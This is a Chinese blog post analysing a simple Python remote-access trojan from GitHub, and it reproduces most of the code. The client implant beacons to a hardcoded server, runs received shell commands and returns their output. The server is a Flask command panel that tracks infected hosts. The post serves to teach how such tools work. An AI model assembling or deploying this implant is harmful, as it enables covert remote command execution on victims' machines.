0%

分析一款仅能执行命令的python远控

分析一款仅能执行命令的python远控

github上找了一个python的简单远控来进行分析,从而了解其中的一些原理。

client端

首先我们分析被控端的代码

太长我就不全部贴上来了,但会每一段都进行分析。

首先是主函数

1
2
3
4
if __name__ == "__main__":
print("[+] start client")
client = Client()
client.run()

新建了一个类Client,使用了run方法,跟踪一下看看。

1
2
3
4
5
6
7
8
9
10
class Client():
def __init__(self):
self.server_ip = "192.168.100.1"
self.server_port = "5050"
self.base_url = "http://"+self.server_ip+":"+self.server_port
self.token = "bkq98"
self.init_name()
self.sleep_time = 3
self.cmd_id = None
self.result = ""

首先定义了类的一些基本的参数,比如服务端ip端口等。

随后便是run()

1
2
3
4
5
def run(self):
# 心跳
while True:
self.heartbeat()
time.sleep(self.sleep_time)

会不断的调用heartbeat()并且沉睡一段时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def heartbeat(self):
# 有上次的执行结果就上传 没有就心跳
# server返回有命令且不是上一次的命令则 执行命令存储结果等待下一次心跳上传执行结果
url = self.base_url+"/heartbeat/"
data = {
"token": self.token,
"name": self.name,
"result": self.result,
"cmd_id": self.cmd_id
}


if self.result !="":
data["result"] = self.result
self.result = ""

response = self.send_data(url, data)
if response==None:
return
# 有命令需要执行并返回
if response.status_code==200:
server_data = json.loads(response.content)
cmd = server_data.get("cmd", "")
cmd_id = server_data.get("cmd_id", "")
if cmd_id == self.cmd_id:
return
if cmd:
print("[+] cmd: "+cmd)
self.result = str(self.exec(cmd))
print("[*] result: "+self.result)
self.cmd_id = cmd_id

首先是判断结果是否为空,如果为空则不作操作。

然后调用send_data()发送心跳包

1
2
3
4
5
6
7
def send_data(self, url, data):
try:
response = requests.post(url,json=data, timeout=10)
return response
except Exception as e:
print("[-] "+e)
return None

将定义好的data发送出去,并返回一个response。

按照作者给的注释,如果返回状态值为200并且没有报错,则是需要返回执行的命令的结果。

随后接受,服务端传过来的两个参数,cmd和cmd_id,验证cmd_id是否是自己的id,如果是的话则直接结束。

然后调用self.exec()来执行命令,我们下面看看

1
2
3
4
5
6
7
8
def exec(self, cmd):
if cmd.startswith("sleep"):
self.sleep_time = int(cmd.split(" ")[-1])
return "time set ok"
if cmd.startswith("msf"):
#TODO
return "msf set ok"
return run_cmd(cmd)

可以看出这里是一个功能检测,方便我们后期拓展。输入关键词就可以执行响应的操作,如果是sleep。则将自己的心跳时间修改为cmd最后一个参数。如果是msf,就写入联动msf的代码就好了,这里作者还没做好。

如果是正常的执行命令则,调用run_cmd函数。这里我们跟如run_cmd函数。

1
2
3
4
5
6
7
8
9
10
def run_cmd(cmd):
p = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True, close_fds=True,
start_new_session=True)
formats = 'gbk' if platform.system() == "Windows" else 'utf-8'
try:
result = p.stdout.read()
p.wait()
return result.decode(formats)
except :
return "命令执行错误"

这里改成了一个子线程,根据系统来进行返回值的编码,然后执行第一个cmd,由于设置了shell=True,那我们的命令是可以带空格执行的。

随后就是return命令执行结果,并且wait线程。

接着看上面heartbeat()最后一步

1
2
3
4
5
if cmd:
print("[+] cmd: "+cmd)
self.result = str(self.exec(cmd))
print("[*] result: "+self.result)
self.cmd_id = cmd_id

将self.result赋值成结果然后self.cmd_id赋值成cmd_id,这个cmd_id就是心跳检测的关键,在sleep了设定的数值之后,如果cmd_id,那么就不会返回新的结果,除非有新的cmd_id出现,否则不会执行任何命令。

随后执行完命令之后继续沉睡指定时间,然后继续while循环

最后就是有一个检测,如果用户输入ctrl+c,那么就会停止这个脚本

1
2
3
4
5
6
def ctrl_c(signum,frame):
print()
print("[-] input ctrl c")
sys.exit()

signal.signal(signal.SIGINT, ctrl_c)

web端(控制端)

简单看了下,基于flask框架开发的。

image-20221113145948432

主代码:

1
2
3
4
from app import app

if __name__ == "__main__":
app.run("192.168.100.1", 5050, debug=True)

定义你的服务器ip和访问的端口,不过这个没有密码,后续要使用的话,可以加入一些响应的鉴权措施。

router.py路由:

1
2
3
4
5
@app.route("/")
def index():
client_list = Clients.query.order_by(Clients.update_time).all()
return render_template(
"index.html", clients = client_list)

做了个跳转,跳转到index.html页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@app.route("/heartbeat/", methods=["POST"])
def heartbeat():
data = request.get_json()
print(data)
token = data.get("token")
if token !="bkq98":
return jsonify({})
# 先判断是否需要注册client
name = data.get("name")
ip = request.remote_addr
client_result = data.get("result")
client_cmd_id = data.get("cmd_id")
db_client = Clients.query.filter(Clients.name==name, Clients.ip==ip).first()
if db_client:
db_client.update_time = datetime.datetime.now()
db.session.commit()
else:
client = Clients()
client.name = name
client.ip = ip
try:
db.session.add(client)
db.session.commit()
except Exception as e:
print(e)
if client_result:
# 上次结果
print("[+] client: "+name+" ip: "+ip+" upload result: "+ client_result)
db_echo_result = EchoResult.query.filter(EchoResult.id==client_cmd_id).first()
db_echo_result.result = client_result
db.session.commit()
# 获取是否有需要执行的命令
db_echo_result = EchoResult.query.filter(EchoResult.client_name==name,EchoResult.ip==ip,EchoResult.result==None).first()
if db_echo_result:
cmd_id = db_echo_result.id
cmd = db_echo_result.cmd
print("[+] server issued cmd:"+cmd+" name: " +name+" ip: "+ip)
return jsonify({"cmd_id":cmd_id, "cmd":cmd})
return jsonify({})

这个路由就是client端心跳包请求的地址

首先会将心跳包传的参数存储到data变量中,随后会校检一下其中的token是否是我们设置的token,

随后就是一系列的提取数据

1
2
3
4
5
name = data.get("name")
ip = request.remote_addr
client_result = data.get("result")
client_cmd_id = data.get("cmd_id")
db_client = Clients.query.filter(Clients.name==name, Clients.ip==ip).first()
1
2
3
4
5
6
7
8
9
10
11
12
if db_client:
db_client.update_time = datetime.datetime.now()
db.session.commit()
else:
client = Clients()
client.name = name
client.ip = ip
try:
db.session.add(client)
db.session.commit()
except Exception as e:
print(e)

然后就是检测是否是数据库中已有的用户,如果是的话,就更新数据库的时间,如果不是,就添加一个用户。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if client_result:
# 上次结果
print("[+] client: "+name+" ip: "+ip+" upload result: "+ client_result)
db_echo_result = EchoResult.query.filter(EchoResult.id==client_cmd_id).first()
db_echo_result.result = client_result
db.session.commit()
# 获取是否有需要执行的命令
db_echo_result = EchoResult.query.filter(EchoResult.client_name==name,EchoResult.ip==ip,EchoResult.result==None).first()
if db_echo_result:
cmd_id = db_echo_result.id
cmd = db_echo_result.cmd
print("[+] server issued cmd:"+cmd+" name: " +name+" ip: "+ip)
return jsonify({"cmd_id":cmd_id, "cmd":cmd})
return jsonify({})

这里就是首先获取了上次的结果,检测result参数是否是none,如果是的话,就是需要执行的新命令,返回过去并且等待下一次获取。

其他的路由没有什么讲的,就是几个显示页面,显示一些信息。

__int__.py文件中定义了数据库文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
import os

app = Flask(__name__)

base_dir = os.path.abspath(os.path.dirname(__file__))
app.config["SQLALCHEMY_DATABASE_URI"] = 'sqlite:///' + os.path.join(base_dir, "../", 'miansha3.db')
app.config["SQLALCHEMY_COMMIT_ON_TEARDOWN"] = True

db = SQLAlchemy(app)
from app import router

with app.app_context():
db.init_app(app)
db.create_all()

总结

其实也比较简单,这款远控,毕竟只有执行命令的功能

开发的大概思路就是被控端会定时发起心跳包到服务端,服务端接受心跳包中上一次执行命令的结果,并且返回新的命令。